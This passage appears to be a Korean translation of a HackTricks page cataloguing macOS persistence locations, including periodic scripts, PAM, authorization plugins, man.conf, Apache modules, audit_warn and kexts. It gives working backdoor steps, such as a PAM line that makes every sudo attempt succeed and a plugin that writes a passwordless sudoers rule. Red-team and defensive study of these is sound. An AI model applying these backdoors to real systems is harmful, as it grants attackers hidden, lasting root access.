  • ํ•˜์ง€๋งŒ root ๊ถŒํ•œ์ด ํ•„์š”ํ•จ
  • TCC bypass: ๐Ÿ”ด

Location

  • /etc/periodic/daily, /etc/periodic/weekly, /etc/periodic/monthly, /usr/local/etc/periodic
  • ๋ฃจํŠธ ๊ถŒํ•œ ํ•„์š”
  • Trigger: ์ง€์ •๋œ ์‹œ๊ฐ„์— ์‹คํ–‰
  • /etc/daily.local, /etc/weekly.local or /etc/monthly.local
  • ๋ฃจํŠธ ๊ถŒํ•œ ํ•„์š”
  • Trigger: ์ง€์ •๋œ ์‹œ๊ฐ„์— ์‹คํ–‰

Description & Exploitation

์ฃผ๊ธฐ์  ์Šคํฌ๋ฆฝํŠธ (/etc/periodic)๋Š” /System/Library/LaunchDaemons/com.apple.periodic*์— ๊ตฌ์„ฑ๋œ launch daemons ๋•Œ๋ฌธ์— ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค. /etc/periodic/์— ์ €์žฅ๋œ ์Šคํฌ๋ฆฝํŠธ๋Š” ํŒŒ์ผ์˜ ์†Œ์œ ์ž ๊ถŒํ•œ์œผ๋กœ ์‹คํ–‰๋˜๋ฏ€๋กœ ์ž ์žฌ์ ์ธ ๊ถŒํ•œ ์ƒ์Šน์—๋Š” ์ž‘๋™ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

# Launch daemons that will execute the periodic scripts
ls -l /System/Library/LaunchDaemons/com.apple.periodic*
-rw-r--r--  1 root  wheel  887 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-daily.plist
-rw-r--r--  1 root  wheel  895 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-monthly.plist
-rw-r--r--  1 root  wheel  891 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-weekly.plist

# The scripts located in their locations
ls -lR /etc/periodic
total 0
drwxr-xr-x  11 root  wheel  352 May 13 00:29 daily
drwxr-xr-x   5 root  wheel  160 May 13 00:29 monthly
drwxr-xr-x   3 root  wheel   96 May 13 00:29 weekly

/etc/periodic/daily:
total 72
-rwxr-xr-x  1 root  wheel  1642 May 13 00:29 110.clean-tmps
-rwxr-xr-x  1 root  wheel   695 May 13 00:29 130.clean-msgs
[...]

/etc/periodic/monthly:
total 24
-rwxr-xr-x  1 root  wheel   888 May 13 00:29 199.rotate-fax
-rwxr-xr-x  1 root  wheel  1010 May 13 00:29 200.accounting
-rwxr-xr-x  1 root  wheel   606 May 13 00:29 999.local

/etc/periodic/weekly:
total 8
-rwxr-xr-x  1 root  wheel  620 May 13 00:29 999.local

์‹คํ–‰๋  ๋‹ค๋ฅธ ์ฃผ๊ธฐ์  ์Šคํฌ๋ฆฝํŠธ๋Š” **/etc/defaults/periodic.conf**์— ๋ช…์‹œ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค:

grep "Local scripts" /etc/defaults/periodic.conf
daily_local="/etc/daily.local"				# Local scripts
weekly_local="/etc/weekly.local"			# Local scripts
monthly_local="/etc/monthly.local"			# Local scripts

๋งŒ์•ฝ /etc/daily.local, /etc/weekly.local ๋˜๋Š” /etc/monthly.local ์ค‘ ์–ด๋А ํŒŒ์ผ์—๋“  ์“ธ ์ˆ˜ ์žˆ๋‹ค๋ฉด, ํ•ด๋‹น ํŒŒ์ผ์€ ์–ธ์  ๊ฐ€ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค.

Warning

์ฃผ๊ธฐ์  ์Šคํฌ๋ฆฝํŠธ๋Š” ์Šคํฌ๋ฆฝํŠธ ์†Œ์œ ์ž ๊ถŒํ•œ์œผ๋กœ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ์ผ๋ฐ˜ ์‚ฌ์šฉ์ž๊ฐ€ ์Šคํฌ๋ฆฝํŠธ์˜ ์†Œ์œ ์ž๋ผ๋ฉด ๊ทธ ์‚ฌ์šฉ์ž ๊ถŒํ•œ์œผ๋กœ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค(์ด๋กœ ์ธํ•ด ๊ถŒํ•œ ์ƒ์Šน ๊ณต๊ฒฉ์ด ๋ฐฉ์ง€๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค).

PAM

Writeup: Linux Hacktricks PAM
Writeup: https://theevilbit.github.io/beyond/beyond_0005/

  • ์ƒŒ๋“œ๋ฐ•์Šค ์šฐํšŒ์— ์œ ์šฉ: ๐ŸŸ 
  • ๋‹จ, root๊ฐ€ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค
  • TCC ์šฐํšŒ: ๐Ÿ”ด

์œ„์น˜

  • ํ•ญ์ƒ root ํ•„์š”

์„ค๋ช… & Exploitation

PAM์€ macOS ๋‚ด์—์„œ ์‰ฌ์šด ์‹คํ–‰๋ณด๋‹ค๋Š” persistence์™€ ๋ฉ€์›จ์–ด์— ๋” ์ดˆ์ ์„ ๋งž์ถ”๋ฏ€๋กœ, ์ด ๋ฌธ์„œ์—์„œ๋Š” ์ž์„ธํ•œ ์„ค๋ช…์„ ์ œ๊ณตํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ์ด ๊ธฐ์ˆ ์„ ๋” ์ž˜ ์ดํ•ดํ•˜๋ ค๋ฉด writeups๋ฅผ ์ฝ์œผ์„ธ์š”.

PAM ๋ชจ๋“ˆ ํ™•์ธ:

ls -l /etc/pam.d

PAM์„ ์•…์šฉํ•œ persistence/privilege escalation technique๋Š” ๋ชจ๋“ˆ /etc/pam.d/sudo๋ฅผ ์ˆ˜์ •ํ•˜์—ฌ ๋งจ ์•ž์— ๋‹ค์Œ ๋ผ์ธ์„ ์ถ”๊ฐ€ํ•˜๋Š” ๊ฒƒ๋งŒํผ ๊ฐ„๋‹จํ•ฉ๋‹ˆ๋‹ค:

auth       sufficient     pam_permit.so

๊ทธ๋Ÿฌ๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๋ณด์ผ ๊ฒƒ์ž…๋‹ˆ๋‹ค:

# sudo: auth account password session
auth       sufficient     pam_permit.so
auth       include        sudo_local
auth       sufficient     pam_smartcard.so
auth       required       pam_opendirectory.so
account    required       pam_permit.so
password   required       pam_deny.so
session    required       pam_permit.so

๋”ฐ๋ผ์„œ sudo๋ฅผ ์‚ฌ์šฉํ•˜๋ ค๋Š” ๋ชจ๋“  ์‹œ๋„๋Š” ์„ฑ๊ณตํ•ฉ๋‹ˆ๋‹ค.

Caution

์ด ๋””๋ ‰ํ„ฐ๋ฆฌ๋Š” TCC๋กœ ๋ณดํ˜ธ๋˜์–ด ์žˆ์œผ๋ฏ€๋กœ ์‚ฌ์šฉ์ž๊ฐ€ ์ ‘๊ทผ ๊ถŒํ•œ์„ ์š”์ฒญํ•˜๋Š” ํ”„๋กฌํ”„ํŠธ๋ฅผ ๋ฐ›๊ฒŒ ๋  ๊ฐ€๋Šฅ์„ฑ์ด ๋งค์šฐ ๋†’์Šต๋‹ˆ๋‹ค.

๋˜ ๋‹ค๋ฅธ ์ข‹์€ ์˜ˆ๋กœ๋Š” su๊ฐ€ ์žˆ์œผ๋ฉฐ, PAM modules์— ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ์ „๋‹ฌํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ๊ฒƒ์„ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(๊ทธ๋ฆฌ๊ณ  ์ด ํŒŒ์ผ์„ backdoorํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค):

cat /etc/pam.d/su
# su: auth account session
auth       sufficient     pam_rootok.so
auth       required       pam_opendirectory.so
account    required       pam_group.so no_warn group=admin,wheel ruser root_only fail_safe
account    required       pam_opendirectory.so no_check_shell
password   required       pam_opendirectory.so
session    required       pam_launchd.so

Authorization Plugins

์ฐธ๊ณ : https://theevilbit.github.io/beyond/beyond_0028/\
์ฐธ๊ณ : https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65

  • Useful to bypass sandbox: ๐ŸŸ 
  • ํ•˜์ง€๋งŒ root ๊ถŒํ•œ์ด ํ•„์š”ํ•˜๊ณ  ์ถ”๊ฐ€ ๊ตฌ์„ฑ์ด ํ•„์š”ํ•จ
  • TCC ์šฐํšŒ: ???

Location

  • /Library/Security/SecurityAgentPlugins/
  • root ๊ถŒํ•œ ํ•„์š”
  • authorization database๋ฅผ ๊ตฌ์„ฑํ•˜์—ฌ ํ”Œ๋Ÿฌ๊ทธ์ธ์„ ์‚ฌ์šฉํ•˜๋„๋ก ์„ค์ •ํ•ด์•ผ ํ•จ

Description & Exploitation

์‚ฌ์šฉ์ž๊ฐ€ ๋กœ๊ทธ์ธํ•  ๋•Œ ์‹คํ–‰๋˜์–ด persistence๋ฅผ ์œ ์ง€ํ•˜๋Š” authorization plugin์„ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ๋‹ค. ์ด๋Ÿฌํ•œ ํ”Œ๋Ÿฌ๊ทธ์ธ ์ƒ์„ฑ ๋ฐฉ๋ฒ•์— ๋Œ€ํ•œ ์ž์„ธํ•œ ๋‚ด์šฉ์€ ์œ„์˜ writeup๋“ค์„ ์ฐธ๊ณ ํ•˜๋ผ(์ฃผ์˜: ์ž˜๋ชป ์ž‘์„ฑ๋œ ํ”Œ๋Ÿฌ๊ทธ์ธ์€ ์‹œ์Šคํ…œ์—์„œ ์ž ๊ธธ ์ˆ˜ ์žˆ์œผ๋ฉฐ recovery mode์—์„œ mac์„ ์ •๋ฆฌํ•ด์•ผ ํ•  ์ˆ˜๋„ ์žˆ์Œ).

// Compile the code and create a real bundle
// gcc -bundle -framework Foundation main.m -o CustomAuth
// mkdir -p CustomAuth.bundle/Contents/MacOS
// mv CustomAuth CustomAuth.bundle/Contents/MacOS/

#import <Foundation/Foundation.h>

__attribute__((constructor)) static void run()
{
NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded");
system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers");
}

Move ๋ฒˆ๋“ค์„ ๋กœ๋“œ๋  ์œ„์น˜๋กœ ์ด๋™:

cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/

๋งˆ์ง€๋ง‰์œผ๋กœ ์ด ํ”Œ๋Ÿฌ๊ทธ์ธ์„ ๋กœ๋“œํ•  ๊ทœ์น™์„ ์ถ”๊ฐ€ํ•˜์„ธ์š”:

cat > /tmp/rule.plist <<EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>class</key>
<string>evaluate-mechanisms</string>
<key>mechanisms</key>
<array>
<string>CustomAuth:login,privileged</string>
</array>
</dict>
</plist>
EOF

security authorizationdb write com.asdf.asdf < /tmp/rule.plist

**evaluate-mechanisms**๋Š” ๊ถŒํ•œ ๋ถ€์—ฌ ํ”„๋ ˆ์ž„์›Œํฌ์— ๊ถŒํ•œ ๋ถ€์—ฌ๋ฅผ ์œ„ํ•ด ์™ธ๋ถ€ ๋ฉ”์ปค๋‹ˆ์ฆ˜์„ ํ˜ธ์ถœํ•ด์•ผ ํ•จ์„ ์•Œ๋ฆฝ๋‹ˆ๋‹ค. ๋˜ํ•œ, **privileged**๋Š” ์ด๋ฅผ root๋กœ ์‹คํ–‰๋˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.

๋‹ค์Œ๊ณผ ๊ฐ™์ด ํŠธ๋ฆฌ๊ฑฐํ•˜์„ธ์š”:

security authorize com.asdf.asdf

๊ทธ๋ฆฌ๊ณ  staff ๊ทธ๋ฃน์€ sudo ์ ‘๊ทผ ๊ถŒํ•œ์„ ๊ฐ€์ ธ์•ผ ํ•จ (ํ™•์ธํ•˜๋ ค๋ฉด /etc/sudoers ์ฝ๊ธฐ).

Man.conf

Writeup: https://theevilbit.github.io/beyond/beyond_0030/

  • sandbox๋ฅผ bypassํ•˜๋Š” ๋ฐ ์œ ์šฉ: ๐ŸŸ 
  • ํ•˜์ง€๋งŒ root ๊ถŒํ•œ์ด์–ด์•ผ ํ•˜๊ณ  ์‚ฌ์šฉ์ž๊ฐ€ man์„ ์‚ฌ์šฉํ•ด์•ผ ํ•จ
  • TCC bypass: ๐Ÿ”ด

Location

  • /private/etc/man.conf
  • root ๊ถŒํ•œ ํ•„์š”
  • /private/etc/man.conf: man์ด ์‚ฌ์šฉ๋  ๋•Œ๋งˆ๋‹ค

Description & Exploit

์„ค์ • ํŒŒ์ผ **/private/etc/man.conf**๋Š” man ๋ฌธ์„œ ํŒŒ์ผ์„ ์—ด ๋•Œ ์‚ฌ์šฉํ•  binary/script๋ฅผ ์ง€์ •ํ•ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ์‹คํ–‰ ํŒŒ์ผ์˜ ๊ฒฝ๋กœ๋ฅผ ์ˆ˜์ •ํ•˜๋ฉด ์‚ฌ์šฉ์ž๊ฐ€ ๋ฌธ์„œ๋ฅผ ๋ณด๊ธฐ ์œ„ํ•ด man์„ ์‚ฌ์šฉํ•  ๋•Œ๋งˆ๋‹ค backdoor๊ฐ€ ์‹คํ–‰๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์˜ˆ: **/private/etc/man.conf**์— ๋‹ค์Œ์„ ์„ค์ •:

MANPAGER /tmp/view

๊ทธ๋Ÿฐ ๋‹ค์Œ /tmp/view๋ฅผ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค:

#!/bin/zsh

touch /tmp/manconf

/usr/bin/less -s

Apache2

ํ•ด์„ค: https://theevilbit.github.io/beyond/beyond_0023/

  • bypass sandbox์— ์œ ์šฉ: ๐ŸŸ 
  • ํ•˜์ง€๋งŒ root ๊ถŒํ•œ์ด ํ•„์š”ํ•˜๊ณ  apache๊ฐ€ ์‹คํ–‰ ์ค‘์ด์–ด์•ผ ํ•จ
  • TCC bypass: ๐Ÿ”ด
  • Httpd์—๋Š” entitlements๊ฐ€ ์—†์Œ

์œ„์น˜

  • /etc/apache2/httpd.conf
  • Root ๊ถŒํ•œ ํ•„์š”
  • ํŠธ๋ฆฌ๊ฑฐ: Apache2๊ฐ€ ์‹œ์ž‘๋  ๋•Œ

์„ค๋ช… & Exploit

๋‹ค์Œ๊ณผ ๊ฐ™์€ ์ค„์„ ์ถ”๊ฐ€ํ•˜์—ฌ /etc/apache2/httpd.conf์—์„œ ๋ชจ๋“ˆ์„ ๋กœ๋“œํ•˜๋„๋ก ์ง€์ •ํ•  ์ˆ˜ ์žˆ๋‹ค:

LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority"

์ด๋ ‡๊ฒŒ ํ•˜๋ฉด ์ปดํŒŒ์ผ๋œ ๋ชจ๋“ˆ์ด Apache์— ์˜ํ•ด ๋กœ๋“œ๋ฉ๋‹ˆ๋‹ค. ๋‹จ, ๋‹ค์Œ ์ค‘ ํ•˜๋‚˜๋ฅผ ์ˆ˜ํ–‰ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค: ์œ ํšจํ•œ Apple ์ธ์ฆ์„œ๋กœ ์„œ๋ช…, ๋˜๋Š” ์‹œ์Šคํ…œ์— ์ƒˆ๋กœ์šด ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” ์ธ์ฆ์„œ๋ฅผ ์ถ”๊ฐ€ํ•œ ๋’ค ํ•ด๋‹น ์ธ์ฆ์„œ๋กœ ์„œ๋ช…ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

ํ•„์š”ํ•œ ๊ฒฝ์šฐ ์„œ๋ฒ„๊ฐ€ ์‹œ์ž‘๋˜๋„๋ก ํ•˜๊ธฐ ์œ„ํ•ด ๋‹ค์Œ์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist

Dylb์— ๋Œ€ํ•œ ์ฝ”๋“œ ์˜ˆ์‹œ:

#include <stdio.h>
#include <syslog.h>

__attribute__((constructor))
static void myconstructor(int argc, const char **argv)
{
printf("[+] dylib constructor called from %s\n", argv[0]);
syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]);
}

BSM audit framework

Writeup: https://theevilbit.github.io/beyond/beyond_0031/

  • sandbox ์šฐํšŒ์— ์œ ์šฉํ•จ: ๐ŸŸ 
  • ๊ทธ๋Ÿฌ๋‚˜ root์—ฌ์•ผ ํ•˜๊ณ , auditd๊ฐ€ ์‹คํ–‰ ์ค‘์ด๋ฉฐ ๊ฒฝ๊ณ ๋ฅผ ๋ฐœ์ƒ์‹œ์ผœ์•ผ ํ•จ
  • TCC bypass: ๐Ÿ”ด

Location

  • /etc/security/audit_warn
  • root ๊ถŒํ•œ ํ•„์š”
  • ํŠธ๋ฆฌ๊ฑฐ: auditd๊ฐ€ ๊ฒฝ๊ณ ๋ฅผ ๊ฐ์ง€ํ•  ๋•Œ

Description & Exploit

auditd๊ฐ€ ๊ฒฝ๊ณ ๋ฅผ ๊ฐ์ง€ํ•˜๋ฉด ์Šคํฌ๋ฆฝํŠธ **/etc/security/audit_warn**๊ฐ€ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ํ•ด๋‹น ํŒŒ์ผ์— payload๋ฅผ ์ถ”๊ฐ€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn

sudo audit -n๋กœ ๊ฒฝ๊ณ ๋ฅผ ๊ฐ•์ œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์‹œ์ž‘ ํ•ญ๋ชฉ

[!CAUTION] > ์ด๊ฒƒ์€ ๋” ์ด์ƒ ์‚ฌ์šฉ๋˜์ง€ ์•Š์œผ๋ฏ€๋กœ ํ•ด๋‹น ๋””๋ ‰ํ„ฐ๋ฆฌ์—์„œ๋Š” ์•„๋ฌด ๊ฒƒ๋„ ์ฐพ์•„์„œ๋Š” ์•ˆ ๋ฉ๋‹ˆ๋‹ค.

The StartupItem is a directory that should be positioned within either /Library/StartupItems/ or /System/Library/StartupItems/. Once this directory is established, it must encompass two specific files:

  1. An rc script: ์‹œ์Šคํ…œ ์‹œ์ž‘ ์‹œ ์‹คํ–‰๋˜๋Š” ์‰˜ ์Šคํฌ๋ฆฝํŠธ.
  2. A plist file: StartupParameters.plist๋ผ๋Š” ์ด๋ฆ„์˜ ํŒŒ์ผ๋กœ, ๋‹ค์–‘ํ•œ ๊ตฌ์„ฑ ์„ค์ •์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค.

์‹œ์ž‘ ํ”„๋กœ์„ธ์Šค๊ฐ€ ์ด๋ฅผ ์ธ์‹ํ•˜๊ณ  ์‚ฌ์šฉํ•˜๋ ค๋ฉด rc script์™€ StartupParameters.plist ํŒŒ์ผ์ด ๋ชจ๋‘ StartupItem ๋””๋ ‰ํ„ฐ๋ฆฌ ๋‚ด๋ถ€์— ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ๋ฐฐ์น˜๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Description</key>
<string>This is a description of this service</string>
<key>OrderPreference</key>
<string>None</string> <!--Other req services to execute before this -->
<key>Provides</key>
<array>
<string>superservicename</string> <!--Name of the services provided by this file -->
</array>
</dict>
</plist>

emond

Caution

๋‚ด macOS์—์„œ ์ด ๊ตฌ์„ฑ์š”์†Œ๋ฅผ ์ฐพ์„ ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค. ์ž์„ธํ•œ ๋‚ด์šฉ์€ writeup์„ ํ™•์ธํ•˜์„ธ์š”

Writeup: https://theevilbit.github.io/beyond/beyond_0023/

Introduced by Apple, emond is a logging mechanism that seems to be underdeveloped or possibly abandoned, yet it remains accessible. Apple์ด ๋„์ž…ํ•œ emond๋Š” ๋ฏธ์™„์„ฑ๋˜์—ˆ๊ฑฐ๋‚˜ ์‚ฌ์‹ค์ƒ ๋ฐฉ์น˜๋œ ๊ฒƒ์œผ๋กœ ๋ณด์ด๋Š” ๋กœ๊น… ๋ฉ”์ปค๋‹ˆ์ฆ˜์ด์ง€๋งŒ ์—ฌ์ „ํžˆ ์ ‘๊ทผ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค. Mac ๊ด€๋ฆฌ์ž์—๊ฒŒ๋Š” ํฌ๊ฒŒ ์œ ์šฉํ•˜์ง€ ์•Š์ง€๋งŒ, ์ด ์ž˜ ์•Œ๋ ค์ง€์ง€ ์•Š์€ ์„œ๋น„์Šค๋Š” ์œ„ํ˜‘ ํ–‰์œ„์ž๊ฐ€ ๋Œ€๋ถ€๋ถ„์˜ macOS ๊ด€๋ฆฌ์ž์—๊ฒŒ ๋ˆˆ์น˜์ฑ„์ง€์ง€ ์•Š์€ ์ฑ„ ์€๋ฐ€ํ•œ persistence ์ˆ˜๋‹จ์œผ๋กœ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด ์กด์žฌ๋ฅผ ์•„๋Š” ์‚ฌ๋žŒ์ด๋ผ๋ฉด emond์˜ ์•…์„ฑ ์‚ฌ์šฉ ์—ฌ๋ถ€๋ฅผ ์‹๋ณ„ํ•˜๋Š” ๊ฒƒ์€ ๋น„๊ต์  ๊ฐ„๋‹จํ•ฉ๋‹ˆ๋‹ค. ์ด ์„œ๋น„์Šค์˜ ์‹œ์Šคํ…œ LaunchDaemon์€ ์‹คํ–‰ํ•  ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๋‹จ์ผ ๋””๋ ‰ํ„ฐ๋ฆฌ์—์„œ ์ฐพ์Šต๋‹ˆ๋‹ค. ์ด๋ฅผ ๊ฒ€์‚ฌํ•˜๋ ค๋ฉด ๋‹ค์Œ ๋ช…๋ น์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

ls -l /private/var/db/emondClients

XQuartz

์ฐธ๊ณ : https://theevilbit.github.io/beyond/beyond_0018/

์œ„์น˜

  • /opt/X11/etc/X11/xinit/privileged_startx.d
  • root ๊ถŒํ•œ ํ•„์š”
  • ํŠธ๋ฆฌ๊ฑฐ: With XQuartz

์„ค๋ช… & Exploit

XQuartz๋Š” macOS์— ๋” ์ด์ƒ ์„ค์น˜๋˜์–ด ์žˆ์ง€ ์•Š์Šต๋‹ˆ๋‹ค, ์ž์„ธํ•œ ๋‚ด์šฉ์€ ์œ„์˜ writeup์„ ํ™•์ธํ•˜์„ธ์š”.

kext

Caution

kext๋ฅผ root๋กœ ์„ค์น˜ํ•˜๋Š” ๊ฒƒ์กฐ์ฐจ ๋งค์šฐ ๋ณต์žกํ•˜๋ฏ€๋กœ, exploit์ด ์—†๋‹ค๋ฉด ์ด๋ฅผ sandboxes๋ฅผ ํƒˆ์ถœํ•˜๊ฑฐ๋‚˜ persistence๋ฅผ ์œ„ํ•œ ๋ฐฉ๋ฒ•์œผ๋กœ ๊ณ ๋ คํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

์œ„์น˜

KEXT๋ฅผ startup item์œผ๋กœ ์„ค์น˜ํ•˜๋ ค๋ฉด, ๋‹ค์Œ ์œ„์น˜ ์ค‘ ํ•˜๋‚˜์— ์„ค์น˜๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค:

  • /System/Library/Extensions
  • OS X ์šด์˜์ฒด์ œ์— ๋‚ด์žฅ๋œ KEXT ํŒŒ์ผ.
  • /Library/Extensions
  • ํƒ€์‚ฌ ์†Œํ”„ํŠธ์›จ์–ด์— ์˜ํ•ด ์„ค์น˜๋œ KEXT ํŒŒ์ผ

ํ˜„์žฌ ๋กœ๋“œ๋œ kext ํŒŒ์ผ์„ ๋‚˜์—ดํ•˜๋ ค๋ฉด ๋‹ค์Œ์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

kextstat #List loaded kext
kextload /path/to/kext.kext #Load a new one based on path
kextload -b com.apple.driver.ExampleBundle #Load a new one based on path
kextunload /path/to/kext.kext
kextunload -b com.apple.driver.ExampleBundle

For more information about kernel extensions check this section.

amstoold

Writeup: https://theevilbit.github.io/beyond/beyond_0029/

Location

  • /usr/local/bin/amstoold
  • ๋ฃจํŠธ ๊ถŒํ•œ ํ•„์š”

Description & Exploitation

ํ•ด๋‹น plist(/System/Library/LaunchAgents/com.apple.amstoold.plist)๋Š” ์ด ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด์„œ XPC ์„œ๋น„์Šค๋ฅผ ๋…ธ์ถœํ•˜๊ณ  ์žˆ์—ˆ๋Š”๋ฐโ€ฆ ๋ฌธ์ œ๋Š” ๊ทธ ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ ์กด์žฌํ•˜์ง€ ์•Š์•˜๋‹ค๋Š” ์ ์ž…๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ๊ทธ ์œ„์น˜์— ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ๋ฐฐ์น˜ํ•˜๋ฉด XPC ์„œ๋น„์Šค๊ฐ€ ํ˜ธ์ถœ๋  ๋•Œ ํ•ด๋‹น ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค.

์ œ macOS์—์„œ๋Š” ๋” ์ด์ƒ ์ด ํ•ญ๋ชฉ์„ ์ฐพ์„ ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค.

xsanctl

Writeup: https://theevilbit.github.io/beyond/beyond_0015/

Location

  • /Library/Preferences/Xsan/.xsanrc
  • ๋ฃจํŠธ ๊ถŒํ•œ ํ•„์š”
  • Trigger: ์„œ๋น„์Šค๊ฐ€ ์‹คํ–‰๋  ๋•Œ (๋“œ๋ฌผ๊ฒŒ)

Description & exploit

์ด ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•˜๋Š” ๊ฒฝ์šฐ๋Š” ๋“œ๋ฌผ๊ณ , ์ œ macOS์—์„œ๋„ ์ฐพ์„ ์ˆ˜ ์—†์—ˆ์Šต๋‹ˆ๋‹ค. ๋” ์ž์„ธํ•œ ์ •๋ณด๋Š” writeup์„ ํ™•์ธํ•˜์„ธ์š”.

/etc/rc.common

[!CAUTION] > ์ด๊ฒƒ์€ ์ตœ์‹  MacOS ๋ฒ„์ „์—์„œ๋Š” ์ž‘๋™ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค

์—ฌ๊ธฐ์— ์‹œ์ž‘ ์‹œ ์‹คํ–‰๋  ๋ช…๋ น์„ ๋„ฃ๋Š” ๊ฒƒ๋„ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค. ์ผ๋ฐ˜์ ์ธ rc.common ์Šคํฌ๋ฆฝํŠธ ์˜ˆ:

#
# Common setup for startup scripts.
#
# Copyright 1998-2002 Apple Computer, Inc.
#

######################
# Configure the shell #
######################

#
# Be strict
#
#set -e
set -u

#
# Set command search path
#
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/libexec:/System/Library/CoreServices; export PATH

#
# Set the terminal mode
#
#if [ -x /usr/bin/tset ] && [ -f /usr/share/misc/termcap ]; then
#    TERM=$(tset - -Q); export TERM
#fi

###################
# Useful functions #
###################

#
# Determine if the network is up by looking for any non-loopback
# internet network interfaces.
#
CheckForNetwork()
{
local test

if [ -z "${NETWORKUP:=}" ]; then
test=$(ifconfig -a inet 2>/dev/null | sed -n -e '/127.0.0.1/d' -e '/0.0.0.0/d' -e '/inet/p' | wc -l)
if [ "${test}" -gt 0 ]; then
NETWORKUP="-YES-"
else
NETWORKUP="-NO-"
fi
fi
}

alias ConsoleMessage=echo

#
# Process management
#
GetPID ()
{
local program="$1"
local pidfile="${PIDFILE:=/var/run/${program}.pid}"
local     pid=""

if [ -f "${pidfile}" ]; then
pid=$(head -1 "${pidfile}")
if ! kill -0 "${pid}" 2> /dev/null; then
echo "Bad pid file $pidfile; deleting."
pid=""
rm -f "${pidfile}"
fi
fi

if [ -n "${pid}" ]; then
echo "${pid}"
return 0
else
return 1
fi
}

#
# Generic action handler
#
RunService ()
{
case $1 in
start  ) StartService   ;;
stop   ) StopService    ;;
restart) RestartService ;;
*      ) echo "$0: unknown argument: $1";;
esac
}

Persistence ๊ธฐ๋ฒ• ๋ฐ ๋„๊ตฌ

์ฐธ๊ณ ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ